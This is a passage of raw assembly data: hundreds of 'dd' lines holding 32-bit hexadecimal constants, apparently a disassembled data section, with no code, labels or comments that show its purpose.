dd 8071A0E3h, 70342495h, 53F6006Eh, 327AD46Eh, 9263DC1Fh
dd 7FA4CBh, 0E3690218h, 0B02C7364h, 4C5F00F5h, 97C6F843h
dd 880EF689h, 608CE7DAh, 0D983A3BDh, 5DF33810h, 0D0339500h
dd 6253EF49h, 388DFB00h, 9DCF8B5Fh, 34600BFDh, 88803F7Dh
dd 2961BFEAh, 7E35E4Ch, 8A1541B3h, 64772F80h, 6AF0005h
dd 27A907BCh, 0C043EF2h, 0EFC865F5h, 0CD7BE4C0h, 4AE00FF9h
dd 7C80980Bh, 7EA23C32h, 0B8731C0Ah, 0AD0EF067h, 2926C008h
dd 1E0D80D2h, 0BA35CE0Bh, 20CD5618h, 5D007042h, 0B157A7E4h
dd 2889D697h, 74EC9F12h, 588D003Ch, 39C3E8DCh, 0BF00AE09h
dd 6EAACC6Ch, 3D0BA14h, 0F2B1B878h, 0FE083ADh, 3318FA80h
dd 6E28C804h, 1C583FBCh, 0E1723480h, 851A0FCAh, 6D5BB51Dh
dd 491BDF01h, 0C4E0BF8Eh, 111E1363h, 59A08156h, 2E18E051h
dd 0EF7E7A79h, 32968301h, 8CBED441h, 3772AE4h, 1DBBD1B9h
dd 38C93FF9h, 20C6D819h, 35520F2Ch, 89482D00h, 1EF3810Eh
dd 3C57BCBEh, 1284FF80h, 0E3E16D55h, 7DE93400h, 8EE613F1h
dd 7192480Dh, 4382A0Eh, 76810380h, 1500A787h, 0F0F679C2h
dd 3F5C79Ah, 3C7DE14Fh, 38C009EFh, 53006C61h, 6072640Eh
dd 75E40Fh, 0E17C185Eh, 0A9D6B711h, 12820201h, 0D9B42F3Fh
dd 7711C07Eh, 8B001B89h, 0C2BFABFAh, 0CB0F5Ah, 0B687BCFEh
dd 0A27E4C9Eh, 49960301h, 0D9BF57C9h, 17F2BE80h, 0CF7AEBB2h
dd 6CAE0A0h, 0D5F4E200h
dd 0B1B7100Fh, 5BC90340h, 2312F960h, 948866D3h, 9700C056h
dd 0B8FDFA90h, 1DE468B4h, 4033D414h, 0CE293088h, 0AE00503Ah
dd 3C66B3E7h, 4F49BAh, 7DDDC0ACh, 78E2261Fh, 0C90480FFh
dd 4C8AA833h, 9B2C128Fh, 0CB8103F8h, 60F8B8F0h, 863036AAh
dd 1CBF9017h, 20F0E9A2h, 27D900CEh, 12D6A384h, 0E278F1DAh
dd 5ABC3516h, 257A03FEh, 380175CAh, 48660FE7h, 6EA268h
dd 0B2790D6Ah, 9001FBFh, 0E7C5931Bh, 3A832270h, 57000F34h
dd 0DA0C7A1Ch, 0CF00DCDFh, 0D4B43DD1h, 3C8E6149h, 121FD796h
dd 740429D3h, 0AB6FD416h, 72030500h, 0F8E3867Fh, 0FBCE81Eh
dd 60FB659Ch, 5B4324C0h, 411E9EFDh, 0FF8FA2D1h, 0C510802Eh
dd 0A42C5Ah, 34E5E41Dh, 3DE7D98Ah, 6B941B00h, 0A38E7212h
dd 1DEE0025h, 0E56C895Ah, 0B2004807h, 8C994A09h, 966A2F2h
dd 0F4C2A990h, 22C3817Dh, 0C9D4FC6Dh, 48BA07E9h, 17892A60h
dd 0B7088150h, 0CA9C847h, 9A98317Fh, 2F3EF100h, 725C530h
dd 0DD1D1DFBh, 4EAA1FACh, 0ECC086A7h, 266F559h, 0A535E400h
dd 0EFD7E249h, 4075E8h, 75508125h, 0B5B9D0FCh, 1782F800h
dd 0F435076Ch, 0E83207D3h, 30D990BFh, 0D8FA81DCh, 948DC601h
dd 33B16997h, 0FE539620h, 98B66032h, 0EBFA2576h, 38D7F31Ch
dd 702924C4h, 0E2A964C0h, 0B4900193h, 0FDDC52DEh, 985EDCE1h
dd 69006278h, 0EAD6EBDAh, 1DF06E4Ch, 4024038Dh, 31DDC887h
dd 1500FA6Bh, 0A118A82Dh, 5FB04h, 96D31393h, 0CE781CB9h
dd 0E900EC72h, 0E8DA55F5h, 1F1ECBh, 0B206431Bh, 0E3048B8Dh
dd 0C7622307h, 85308C8Fh, 0B72C387h, 60867095h, 9C89B200h
dd 1E01E9B6h, 0B20346E4h, 19C831B8h, 356F0280h, 10CE4B5Ch
dd 37252440h, 880040F8h, 9163C906h, 1653AE2Ch, 0F06DB7DEh
dd 6A046B78h, 0F0076225h, 95FA3C80h, 0C45D00D0h, 3BBF5E7h
dd 44399FBCh, 37C700C8h, 0C0CE49A1h, 2D903Ch, 529C76FFh
dd 4F2B9A30h, 0CA8C7B00h, 0C9C8F10Dh, 60260008h, 0A93645B3h
dd 400A2D9h, 812138E8h, 166F34Fh, 33E4B29Eh, 9F4D03BFh
dd 54076B80h, 0B690FBDDh, 0ABAA3Fh, 6047F12Fh, 5C3EA110h
dd 0C7165E09h, 4876015Bh, 0C6F75017h, 9756006Ch, 992CFCEAh
dd 0C477E3CEh, 0E5001E75h, 0CF75A576h, 0EE0346Fh, 6403C3ADh
dd 87090E20h, 8C90049Ah, 0A120D260h, 5007997Eh, 393B825h
dd 85B7D18h, 6E86828h, 0C4180A35h, 0EC78538Eh, 21F800DBh
dd 0EA39F6D3h, 9400CC1Ch, 34E7C23Ah, 8F7FDEh, 8017F0D0h
dd 4568F630h, 0B6DC7909h, 0D1F003E7h, 80EAB294h, 0C5BF7ABCh
dd 0C62B0141h, 0A7632569h, 8BE3FC8Dh, 7CB48700h, 96E7EDD3h
dd 4C7A23h, 6F7F5B0h, 7DE28CE6h, 0EB0011E2h, 42911A40h
dd 15A6D53h, 2320DE7Ch, 0EAD91573h, 1CB88Fh, 413A585h
dd 7903D362h, 74953D2Bh, 4F568877h, 0D2025C01h, 54A4CE00h
dd 4C5F117h, 6AA5900Bh, 87738063h, 69615Eh, 2817B20Fh
dd 72948B70h, 0A593DB00h, 44C37B6Bh, 0D5C400E0h, 31953038h
dd 8E00BCEAh, 0CB799EF8h, 0F6C0EDC3h, 2AD100ACh, 0B892A60Eh
dd 46003D3Ch, 409AF571h, 5A65E3h, 67CE934Ch, 1086880Eh
dd 0BF710600h, 0C93EBCDDh, 42F5003Fh, 39AB805Ch, 0BBFC4F1Eh
dd 7069500h, 5192EBE7h, 32270708h, 0A14D1430h, 0C47B7EB5h
dd 0D006C8Bh, 0C4C1E13Bh, 13FE6Fh, 0BCADDDEFh, 64668611h
dd 3E87063Fh, 0D89E8010h, 0ED5C5AC1h, 8E600EDAh, 0A48719B6h
dd 0FED9E0F0h, 1F00535Fh, 850A8BFBh, 0D68DEEh, 56E12843h
dd 48D05E9Ch, 0CD923900h, 0F49B4615h, 5E61324h, 0DB421407h
dd 56717400h, 85BE8491h, 8E00AF78h, 0EB14A1E6h, 39DC83C2h
dd 0B980570Fh, 214FB16Fh, 410095DFh, 0CFCB9971h, 0E8318E6Dh
dd 0F6860562h, 0C004B82Fh, 19DAC3A7h, 6658F700h, 8E4E9ED1h
dd 0B5E006h, 0C553392Bh, 84D372E8h, 8E7C58h, 0BEF4CD88h
dd 0AA3CA7h, 98E6C3Fh, 4684AFE6h, 0F7995307h, 0E0973E40h
dd 4EDC2061h, 0E1D5E020h, 78309AF5h, 77B1004Bh, 50BE3CDFh
dd 0BB605987h, 8654E510h, 0FA043CD2h, 7AF85A8Bh, 3AE0B401h
dd 43A8E859h, 9DAB473Dh, 4540087Bh, 2433645Fh, 86780EA7h
dd 70A0C214h, 0C5E1B76Ch, 2B5D4600h, 42497B9Fh, 0F18C006Fh
dd 2F7C6DF9h, 34077586h, 0A3B05AB1h, 4F4E5D20h, 98E901C8h
dd 0F40114C0h, 11D43092h, 78ECCC00h, 0CF2F6F59h, 9FC200C4h
dd 503C77EAh, 28004B7Ah, 1AD36320h, 193440h, 0D21F8002h
dd 0A69A16Ch, 0AFEC5307h, 3E30F135h, 4E662Bh, 9DE878E1h
dd 0D7466D3Ah, 911FF5F8h, 0E780DD6Eh, 0DFEC22DBh, 67B70079h
dd 13CFB454h, 8120976h, 1B00121Bh, 0F7D75EC7h, 5C7F1F7Eh
dd 8E5903ECh, 1AE0BDA9h, 0F60033FFh, 0A83416EBh, 1527638h
dd 42ACFEEEh, 0D896A62Ah, 0DE0084A9h, 29F2CF5Eh, 3C38B80Eh
dd 7C8004D8h, 7F75A3F9h, 0BB170BCCh, 2300A53Dh, 0CB5FE3B0h
dd 7CD84848h, 7BC44A00h, 1C4BC921h, 0D23CAB07h, 0DDD0460Dh
dd 25A142h, 52BE0B49h, 18069C5Eh, 94328400h, 0EBD6E614h
dd 38360015h, 29D7F98Bh, 300F3FFAh, 0E3ED1F0Eh, 0B0EBC0C3h
dd 5CAB72h, 0E59F61DBh, 0BB7A4D65h, 369ECE00h, 6849450Bh
dd 3F1A003Bh, 0B68106ABh, 0B37F2D40h, 0E8CDF400h, 5C90E965h
dd 0E6870020h, 0D2ADF79Eh, 0C90E08DCh, 80674F73h, 0B582BE89h
dd 9EF303BAh, 4C2D0271h, 0E97AF9C8h, 1A233Fh, 3B76C2B2h
dd 372644Fh, 9E019291h, 88002AA6h, 83300596h, 78FCCC49h
dd 0DD7D0508h, 82B548F5h, 62405C25h, 0A400E256h, 0F9582CD2h
dd 13314Bh, 0C2DE5749h, 0AAE81EDFh, 600D3Fh, 78BBEFBDh
dd 0F3F95D2h, 0A8150172h, 52AB660h, 0F3A6E73h, 0E94580A7h
dd 9250794Eh, 7541BF7Ch, 18C4038h, 0F874C2B9h, 0D0035677h
dd 0AB10E3A0h, 2FF4F8D2h, 90A6015Bh, 37353699h, 9508C4ECh
dd 73725906h, 587F17h, 0A1E1D601h, 1098450Ah, 5C437C05h
dd 0E9C0769Ch, 0A0D9C318h, 0A07BC610h, 2B6071Ch, 0D53D3ABDh
dd 1960DF5Ch, 650390A1h, 8C979E6Bh, 44E9A818h, 0F587C61h
dd 5DF56D62h, 4950BAA3h, 0C89C37A0h, 0F4566301h, 0E6591336h
dd 0C9F560h, 2DF07311h, 0FF14251Fh, 97532803h, 0F84B21BCh
dd 1F39423Eh, 0C05A7FE6h, 2A8B6881h, 0A2001001h, 710FD122h
dd 2C1E69Ch, 0D23196E5h, 0B263FD3Dh, 0D71BDAF0h, 2DA35501h
dd 4CA8B142h, 708607DCh, 4EEA05B5h, 0C0812E7Fh, 0DC164561h
dd 0B1E72000h, 0E4857C7h, 0B07F1453h, 8840BEC8h, 438A3FB4h
dd 99CF4B0Ah, 0DEB580CCh, 414725ABh, 6631BD1Eh, 751F80F0h
dd 0C2711CA9h, 0E7F2C080h, 426E0BD0h, 22001E76h, 531BCBF3h
dd 41DD99Ah, 66B66793h, 685080EEh, 34005A07h, 0CC730D2Ch
dd 7D6C7DCh, 1F594252h, 80D5F0F8h, 6016B35h, 7F1CBC5Ah
dd 80CA0BB4h, 0CD3661DCh, 0EE550018h, 0D7E9BE42h, 5E790C96h
dd 0A9C9F3Ch, 800E7011h, 46651900h, 3BFB08C7h, 6000220Dh
dd 0F4A8E967h, 6E00BE6Bh, 48F78BC3h, 0DF7C975Fh, 6C52C060h
dd 7F3CC866h, 2B8A2002h, 0E0F12C60h, 0EE40FE0Dh, 2E745CCCh
dd 0D753007Ch, 4DE9DD7Ch, 0CF009A16h, 21E6FB58h, 0F48542Ah
dd 7E39C6Ah, 44497D60h, 9207B5B8h, 576286C2h, 81322600h
dd 0A1140043h, 508390E6h, 0FD0F68D6h, 40855478h, 383CFACBh
dd 300A605Ch, 4B10BBF9h, 98D2791Ch, 0DEE73FC0h, 38049F02h
dd 3880713Ch, 256AE3E5h
dd 7E0F4F65h, 0A761A5D6h, 0B2C0DF14h, 0E96067h, 3E27D0F7h
dd 6BB8C2D4h, 14004F7Fh, 0E50E0DFDh, 0A0EF30h, 0DDF9E31Bh
dd 0C8BBE83Dh, 5E24980Ah, 3203FA6Ah, 0C067D912h, 0F02386F1h
dd 0F8700EAh, 0AFBE7238h, 8EE653E5h, 0E204ED00h, 0F5A8BC83h
dd 9E020078h, 1FF891FFh, 0C60026D9h, 0E60C16DEh, 58A89Fh
dd 5585A4B3h, 2575E17Fh, 72D7EB01h, 4CE7ED98h, 0A8519E30h
dd 0FDEA9Ch, 0F9BA168Fh, 0D9147950h, 0CE48EE0Fh, 32F7609Ah
dd 396FD7h, 3D778F66h, 6C8928DFh, 4C922A00h, 0E4E1F91h
dd 766D0041h, 0A5A67403h, 973A9005h, 65DF8031h, 356AFECDh
dd 55274C13h, 4A51E900h, 1BD1ED36h, 24E46000h, 0F257C47Eh
dd 96E459h, 0B7C6A1DFh, 0B65F88C0h, 200FBB00h, 241961EEh
dd 77810279h, 0A5E9B7C5h, 140EE40h, 0C120DA52h, 1481C8F8h
dd 4B3EAC08h, 3B515CBAh, 44B8009Bh, 0B95EDF04h, 0CE2B039Fh
dd 1EA0491Ch, 18AEC983h, 4C70C000h, 200E6DCDh, 0AD1600E1h
dd 0D5A25BF3h, 0FF001F1Eh, 0FE3F9463h, 12D570Ch, 7D512FA0h
dd 0D436DE29h, 2A30B1F2h, 814EA05Ch, 3AFD1E21h, 6A3880B8h
dd 972ECA63h, 0F63E6706h, 2856BBh, 0A5F71558h, 13CC1770h
dd 0FD22B701h, 0A6725B6Ah, 77527880h, 163B6B02h, 1874A58h
dd 0B92BFA08h, 0BEC1284Ch, 9AFEB880h, 0E1274A53h, 6DFCB100h
dd 806E7745h, 98D3053Eh, 30FD3299h, 0D22ABF80h, 601F9723h
dd 8B941DACh, 2AC3F300h, 3812DAE6h, 6FF2074Bh, 60EC8E22h
dd 88059436h, 0D2BEDE1Dh, 0AA274D00h, 0E50F31Bh, 0CDE82977h
dd 891EE220h, 6C00A0FBh, 0D57FE1Ah, 546102Eh, 0C0D65C59h
dd 0F44C3C2h, 24401392h, 0A70F62DAh, 0F4ED9569h, 701A020h
dd 751F8647h, 0F0005BB0h, 704EF826h, 63E63AA9h, 14043601h
dd 0C790F252h, 0DA5D61E1h, 0ADE7BB60h, 0F781D8A0h, 0AAF62726h
dd 0E677E03h, 38749816h, 9B513F30h, 4AA48A8Fh, 39657DA0h
dd 300626Bh, 5BB859F8h, 842B43h, 75AC8AD6h, 0BB3E8608h
dd 830EA500h, 7A775F5Dh, 0B5200DAh, 0CC4FFBF0h, 177731ADh
dd 26A66803h, 88D7B508h, 7CE6F387h, 7F653069h, 39C79891h
dd 0A25B51Eh, 8006A12h, 890FEF66h, 93B0082h, 9DAE9A3Ah
dd 34000E06h, 5E4513E3h, 84C154h, 0FBF9FC4Dh, 37A8EB59h
dd 6D841C50h, 8FFEB700h, 0DE8A2921h, 2F4F44Dh, 9954FA65h
dd 5460BC9Dh, 20003FBAh, 0F871C42Dh, 79DE43CCh, 8730363h
dd 83B5388Dh, 4647CBC8h, 2176B000h, 516EA625h, 0A8AB6116h
dd 2023EA4Dh, 8B00B58Ch, 0A7C5CDC8h, 0ED7482h, 7514936Fh
dd 0B34DF62Dh, 0AE716900h, 0E47B8619h, 906248A2h, 0BCA02E00h
dd 0E0F9D010h, 97CCA81Fh, 23C3CF00h, 0EBD04D2h, 0DA036B46h
dd 19E63D80h, 0E230EFADh, 40472042h, 2DFE9Bh, 0E826DF54h
dd 0A39DD08h, 0B1747D00h, 0B04895C0h, 3034660Dh, 0F8978A22h
dd 0C6C50089h, 79830C8Ch, 0A8F85438h, 6CBF5F05h, 0FCC18AF0h
dd 91D0E005h, 6170746h, 7D18Fh, 681AE9E2h, 78D23603h, 0F3D40B2Dh
dd 0B69DC8DBh, 77C0DAAh, 0D470BE6Ch, 9876FA32h, 0FFFCB7FEh
dd 65C64000h, 8E7A1F73h, 1D9CF449h, 3CE96A9Ah, 5116D10Eh
dd 56682260h, 8A003CA1h, 6458CB71h, 3BEE4C0Bh, 0B700A27Bh
dd 0E3836A29h, 550BCDE6h, 48E811h, 36D31D52h, 0A8A0CF2Bh
dd 0BA79E9E0h, 0E758A734h, 3F00731Ch, 8E3117BFh, 30F2D2EAh
dd 9D70D44Fh, 38DD19F5h, 0B38FBC05h, 61CB90Fh, 181873F1h
dd 0D8BFC5CAh, 0CF0BAB37h, 809420D7h, 355ED55Ch, 282160EAh
dd 3796B9E9h, 4E22CF00h, 305644AAh, 8DDD0390h, 0EF90921h
dd 726A66A0h, 71CFEB03h, 80B44523h, 594D1Fh, 0EE7CC674h
dd 0C99CC78Eh, 651EF900h, 51D9E969h, 84550006h, 0D78D863Fh
dd 0D006B4Eh, 0DAEA7BB2h, 3D32B9A4h, 9B001D5Ch, 451BCEBh
dd 7100C6E3h, 74CD030Eh, 3B16564h, 0A4DDCFDBh, 30080BD9h
dd 0C0E588EDh, 77F206EAh, 79024C46h, 4E0872F9h, 0F3A52C90h
dd 99076F46h, 97D9A372h, 0D5DA47E3h, 601C36FDh, 529F3204h
dd 3920C498h, 0BC0EB80Eh, 8ABA2AF1h, 0ED506411h, 7C38A6EFh
dd 1D520C59h, 0D1387FCDh, 10680257h, 0B68169A2h, 59F9A4D9h
dd 0D160BC7Ch, 19140894h, 1E868A00h, 0A825F8ADh, 12FD397Bh
dd 0C29CFB29h, 34986DE2h, 5F2982B9h, 706C84D8h, 72A0476Dh
dd 8A391D3Ah, 9C730631h, 0A66C4250h, 0F5790730h, 0F42D1E0Bh
dd 23FD2873h, 991F6F15h, 11D86601h, 9841B968h, 0B4D2DEF2h
dd 0A442E0D4h, 3D390220h, 3E71D860h, 0CA51B881h, 2C04254h
dd 2511A896h, 59837A16h, 0D1A83A42h, 91F231E0h, 8A48336Eh
dd 0FB01B0FAh, 0AD1D56B6h, 9208484Ah, 91804C7Ah, 0C2F850E1h
dd 31D8296Bh, 0CC7CCA80h, 1D201831h, 0CC835066h, 0D08C54F1h
dd 1F21005Eh, 1E2327EDh, 18C7FF6Dh, 90EA59D1h, 7894F814h
dd 0A820620Dh, 981E703Bh, 0E8B87162h, 0D5CDD081h, 9BE42038h
dd 1B11A0A0h, 8D205C90h, 0DF6DF845h, 7D8ED258h, 0D859807Ch
dd 0CED74285h, 0FDA8DEFAh, 0A6DC062h, 0A0B0A047h, 8C4C6C2Ah
dd 44FA7803h, 14BC4EA6h, 0E4BF5148h, 0D33B95B0h, 1CA0677Ch
dd 23038C98h, 518E375h, 0B88DD26Fh, 9267B238h, 383880F4h
dd 0D932240Eh, 0F6CB58D4h, 0C7BF918h, 120F6211h, 0FC28E30h
dd 83E019F4h, 8BA3BBFDh, 263CC890h, 0C0C452D5h, 2EE94250h
dd 86170012h, 1B9E8CB9h, 0D100FE7Ah, 0CFFB71C1h, 14391BBh
dd 0F8317440h, 0D0F9D9C7h, 47BF601h, 0BA0314A6h, 0E0069F85h
dd 0AC99D003h, 84F62BB9h, 7D803C28h, 0C93D3A02h, 906B9D9h
dd 12E4F604h, 64A41408h, 458118D7h, 103FC2B1h, 316259h
dd 0AFE264F6h, 0C5619A11h, 91032B1Ch, 4D402029h, 6004D429h
dd 107998EDh, 1B30EF5Eh, 0F05841F8h, 97C33F2Bh, 94806CD2h
dd 6A03A2C2h, 1900097Ah, 5BEFC62Ah, 42755FF9h, 0DE42006Eh
dd 9C1C1BF6h, 14380118h, 719BEFC3h, 18B0A32Ch, 4ADD7207h
dd 0D3047643h, 8087FFD9h, 813E41DEh, 0A04F539Bh, 97E1AE00h
dd 189DFA76h, 257CF800h, 89E45B8Fh, 0FDEE2990h, 1406BE18h
dd 98178120h, 60A09837h, 0D8C074FAh, 61983CD4h, 7CB8281Eh
dd 0BC1048D2h, 0D7934A00h, 581839FFh, 80DE3FCDh, 0BB0828B1h
dd 0A3BC5C71h, 105A853Bh, 0C3330216h, 5EBADB28h, 36B684B0h
dd 0D288607h, 17111838h, 505C80DBh, 0AF25159Eh, 3902989Ch
dd 0DA1BA3A8h, 7C6028B0h, 0F972FAh, 58A9BD8h, 0CF572E90h
dd 882DC39Eh, 857F6EC1h, 0B8F0FA40h, 20CFC09h, 9877242Ch
dd 24C31F3Ch, 8A00082Dh, 0A050F9h, 9660AF3Bh, 0F0A0B5CEh
dd 0BA50C784h, 2BE875F4h, 0A044A348h, 14850A06h, 0C4A47C7Eh
dd 809C2F1Ah, 4CC07433h, 29C085CCh, 93C689B8h, 0E0DB0A8Eh
dd 0C050232Eh, 1DB56815h, 58DC0450h, 0A4345F00h, 557FD0F1h
dd 44725389h, 0B69D3A02h, 0A4834839h, 307C6579h, 12F28F08h
dd 866B5001h, 73F0EE1Bh, 0BE9A8B90h, 82C80930h, 3814F1A7h
dd 62C43C02h, 40A37E1Eh, 91BAB884h, 0D3B4C0ACh, 684048A3h
dd 0C43B1FD9h, 0BF4047ECh, 0C64F73EFh, 0A4949BC2h, 987BB005h
dd 0C8406F1Ch, 432B17AAh, 0D908DCA3h, 2769117Eh, 0C38F0160h
dd 0A9136C37h, 0F5C6C040h, 71ED0163h, 245B82ABh, 356DE0DBh
dd 9B018678h, 4D62C5FFh, 189EDC8Dh, 0EE7880F1h, 5A11ADABh
dd 2543E891h, 0F4D48BB3h, 94A093h, 6EEA9B58h, 78CC8D63h
dd 96062DE8h
dd 0B1F1A555h, 93EC0009h, 46E23B83h, 0AC285B81h, 0C831AC8Ah
dd 0F3EA78F9h, 0C65FADD0h, 90B9CDA0h, 20A9DDF1h, 0C674A4A8h
dd 0BD9F3B1Dh, 4BB5B180h, 607951A5h, 1136181Ah, 0A024BBD5h
dd 821398CEh, 14E42C09h, 2A33B09Ch, 14AC115Fh, 90F65859h
dd 8DF8E18h, 8301C9B9h, 0A427BCBBh, 0A8BA9F31h, 2D90B533h
dd 0D02E40FBh, 8D147D96h, 0B812A0DCh, 65E324EAh, 0B863953Ch
dd 0C085E014h, 0C19D8C07h, 6CCFAD1h, 484E778Dh, 8281CE00h
dd 0C1A8BD7Bh, 688F69F1h, 8902AB00h, 0AA64FBAEh, 0CC945AD8h
dd 1321FC28h, 5CD0CD9Fh, 0D85A5998h, 0F480C68Dh, 0A42F211Bh
dd 0B86B1128h, 53A60D05h, 60602D60h, 24944120h, 946C5992h
dd 1B18F051h, 0E74DC832h, 0CBAD40C5h, 0B701981Eh, 120E78A1h
dd 35DB6887h, 0FD4E819Ah, 16BBE087h, 2B6E10C2h, 0CD7860F5h
dd 4CE0C49Eh, 65B082FEh, 0A9518880h, 0FB008289h, 0EAA7AC9h
dd 1C62EBE0h, 8CC7AD2Dh, 0BB609AEEh, 28846731h, 0AEF9BD21h
dd 18AA79F8h, 0E028CF6Eh, 9518735Eh, 0D110C3FBh, 70DB809Fh
dd 1DA07D62h, 2758407Eh, 2483745Ch, 144C5E79h, 0B10C84AEh
dd 78105DE0h, 0E691B0A0h, 30B0D163h, 0B5501820h, 276D0822h
dd 78B9E383h, 62A23A88h, 1ECBC9Dh, 757A500Dh, 30D6C92Eh
dd 0BB749F54h, 40805136h, 7118C5F0h, 0B18003D0h, 830D315h
dd 0BD51B875h, 0AE90A3C9h, 8A31E928h, 0CD3D0880h, 0C3D231C1h
dd 89605490h, 0F6FF1140h, 4C5B1980h, 47E8E885h, 3BA82C0h
dd 0F8829843h, 1F9EA440h, 634BC4A0h, 0F06140CAh, 1836EB8Dh
dd 6081D6EDh, 0DB814A99h, 91B88FBFh, 7B80C029h, 0ECD2E7C0h
dd 609663CEh, 81E81C8h, 3B0C7FEAh, 489B20A0h, 2E0A195Eh
dd 98C0D9Ah, 34820E67h, 40400FEEh, 68CAA591h, 3B07D0BEh
dd 3AF1F060h, 0BAD0C809h, 83C20534h, 815F715Bh, 41C1B7BCh
dd 20F23598h, 0A86F9B40h, 18344CF8h, 0A1A9C0EAh, 5FED6042h
dd 67F160C0h, 635BD51Ah, 0CE4D3813h, 0BCFB1012h, 8305CC49h
dd 521B1Ch, 487FAD10h, 77E4CD60h, 0FC910898h, 2D9FB140h
dd 0E8964DB6h, 4C2B24h, 78A9AD7Bh, 0AA5036AEh, 48482984h
dd 744E24D4h, 9CE2D106h, 0A655AB0h, 92F4B568h, 6E64042Dh
dd 882E0244h, 54704098h, 48449037h, 0F108340Dh, 0B200C757h
dd 74ED62D9h, 0E408DDD4h, 24DB1E58h, 0E04D1D3Ch, 142C6E24h
dd 9806D593h, 0D448FA91h, 0B1142880h, 0F10A9884h, 1294D4FCh
dd 6E344C5Ch, 0DD78D138h, 185A08CDh, 1086BAE1h, 8B50D71h
dd 209E2F32h, 1BEC4035h, 0E93C9051h, 588A4F2h, 5A9B3881h
dd 40FB3420h, 0EB265B87h, 880EACD5h, 663BA519h, 7C92F046h
dd 90AD5140h, 10BE60D1h, 3D28632Ch, 3008CDB7h, 71A7AE34h
dd 0BAF693Ah, 85708291h, 3091F7F4h, 688C7B98h, 12600A04h
dd 77E8C167h, 4B14004Bh, 0B16D6047h, 754E40D4h, 958CD54h
dd 97F8089Ch, 2B610FAh, 0DBB5899Bh, 0E41CB06Eh, 2B392C81h
dd 0BD988988h, 0A0D8C81h, 3FC03076h, 0D2C0DA67h, 0DCCBD5F4h
dd 9CB97702h, 0B801F9F0h, 504A5512h, 3A18963Dh, 7F586904h
dd 814199C9h, 4FB2CDC8h, 50C0CEE4h, 0C23F9C8Dh, 85D0FB08h
dd 0BCD26204h, 44762465h, 0BE097A1Eh, 44455CA4h, 0F8826D52h
dd 4CBC693Ch, 1D1602D2h, 30422041h, 74D7164h, 26021A80h
dd 0CF48AA18h, 0EA355131h, 651AE430h, 4DC80CDh, 91C951C8h
dd 98BB1E80h, 0B1080948h, 0E834902Ah, 40949A8Ah, 326E9152h
dd 0A1438018h, 0B20E8D62h, 0C9B37ED0h, 84A48EA0h, 5B8CC1F0h
dd 8460CE55h, 58C92F54h, 0B280A201h, 667C6064h, 6161818Eh
dd 86CFD938h, 0F1024E08h, 0C0416360h, 808DA32Dh, 60589BD2h
dd 9D1E0D1Eh, 0D4B62E0Ah, 0A01E922Ch, 10796E0Ch, 3987242Dh
dd 8461844h, 58B03CFBh, 40C3E6F1h, 0A46A56C2h, 2FC26C4Bh
dd 0EAF1A469h, 9E8BA07h, 0AC0061A1h, 0BB816F88h, 17282D4Ch
dd 7C4692DBh, 24D0FFB8h, 1BA06F17h, 0FC915833h, 0A3309246h
dd 0A71B8C02h, 0B18040BCh, 0A584A1CAh, 0D0E1A021h, 7D711087h
dd 0F85181B0h, 0A2B1F859h, 117B3CB8h, 4D083B62h, 3F0D035Ah
dd 30FC91E1h, 36716D8Ch, 1628F098h, 2039BCCFh, 381A8EB1h
dd 0DA9AE0AEh, 19BBEFC4h, 0D8EC7725h, 7C1BE0C6h, 3096700h
dd 0E9089E6h, 18BD64BBh, 8E4CB068h, 0BA4B9E77h, 0F213B473h
dd 5C8044FFh, 80A0EC78h, 0E00225AEh, 182DD87Ah, 3B8040D2h
dd 0DCF85C16h, 48582210h, 0DD0EA0E8h, 7CF44CBFh, 2E382D0Ah
dd 27DB00D8h, 797A4DC5h, 3411F8C5h, 988A8C95h, 0C47BF904h
dd 0D83CE0D4h, 7ACC6448h, 91A48B50h, 8C85C728h, 13DAC840h
dd 8AA6045Dh, 0F30D0010h, 0C5AABFA2h, 29F92CD9h, 97B0C00h
dd 0CF0ABB50h, 1CD1A54Ch, 70F15FC0h, 1740994Eh, 9CF8527Fh
dd 0B70811A0h, 0B12B1E0h, 0A4A4E2B8h, 14C4858Dh, 1117ECCCh
dd 0BD9C4448h, 83C08025h, 0AE02AA33h, 4D60547Dh, 2D844089h
dd 183466C3h, 2E202003h, 93AD3044h, 3AD26E10h, 899818C6h
dd 1D7638C0h, 66B093h, 19911DCh, 7D248EDBh, 4616AC71h
dd 0EE8DDC00h, 0DD1FA1E2h, 175F0352h, 0A6F363EDh, 0FB7FAEA0h
dd 0A708F260h, 20F76h, 221978ADh, 23F74BF3h, 0EB6F3401h
dd 626384CAh, 14525C4h, 98DC6830h, 0DF2265h, 0F84090E2h
dd 0D84C0588h, 3010684Fh, 0A26B4228h, 61F53Ah, 0B78EEAEBh
dd 19AE840h, 0ABE263E7h, 40FF53C8h, 8F562A18h, 71CF9F00h
dd 49F08AEBh, 0A6E8294Eh, 0A5F4802Ch, 70C13BE9h, 95AAEB00h
dd 0F7DF68CDh, 0C84E0C5Bh, 0D3F0EEF1h, 0D156BF7Ah, 67CD2E34h
dd 40B1B138h, 908AC74Ah, 0ACBA682h, 6018D248h, 0BB7DE249h
dd 6A98CB67h, 9FAEECD0h, 502D522Eh, 0FC203E8Fh, 0EB72310Dh
dd 30E90A33h, 3F3DA87Fh, 7D48ACDFh, 982C1030h, 842A00B2h
dd 0D6FFAEEEh, 5F68000Bh, 263E5FDh, 9CA0F456h, 0A138496Fh
dd 4A3A3Fh, 771CB1DFh, 0A4702C1Fh, 32402644h, 0EA942251h
dd 501260BBh, 7F3913AFh, 40A5E703h, 0A1AAFB28h, 62C07448h
dd 1FE3022h, 0A1D09F08h, 0D61E7F10h, 607A4919h, 0DE418082h
dd 0F8284ED7h, 0F284A0D3h, 0E4F78D5h, 6840A92Bh, 0A882A42Eh
dd 2441FAA0h, 586198C7h, 0DFD802C8h, 28554010h, 0C870084Eh
dd 58C650CCh, 401F4888h, 28E3C238h, 491F8B42h, 0A24DF36Fh
dd 8DD010A3h, 37B0A0E7h, 33509092h, 5D6812D1h, 6F33B078h
dd 0FED00882h, 0A11F2448h, 0BB580F60h, 8150206h, 9B39A21Fh
dd 803E7F3Ch, 81299D0Fh, 973AC206h, 20C66118h, 0E099CF82h
dd 6863F042h, 18987D38h, 101CD218h, 38C677F7h, 6060B852h
dd 48422049h, 0E832332Eh, 2140958h, 0E00F2608h, 420F790Eh
dd 0D0E160B6h, 0BF462C02h, 28207163h, 0A8081E7Dh, 0AD30C0DBh
dd 5AEB760Eh, 2FA93C06h, 3C11E717h, 3700B78Bh, 0ED191B3Fh
dd 7AF8D246h, 0D8BE3Ah, 200DC91Ah, 0F8B96CFAh, 0BE83EDAh
dd 1CC40378h, 0D1544D19h, 8444837h, 0AF3DBC0h, 48B661CDh
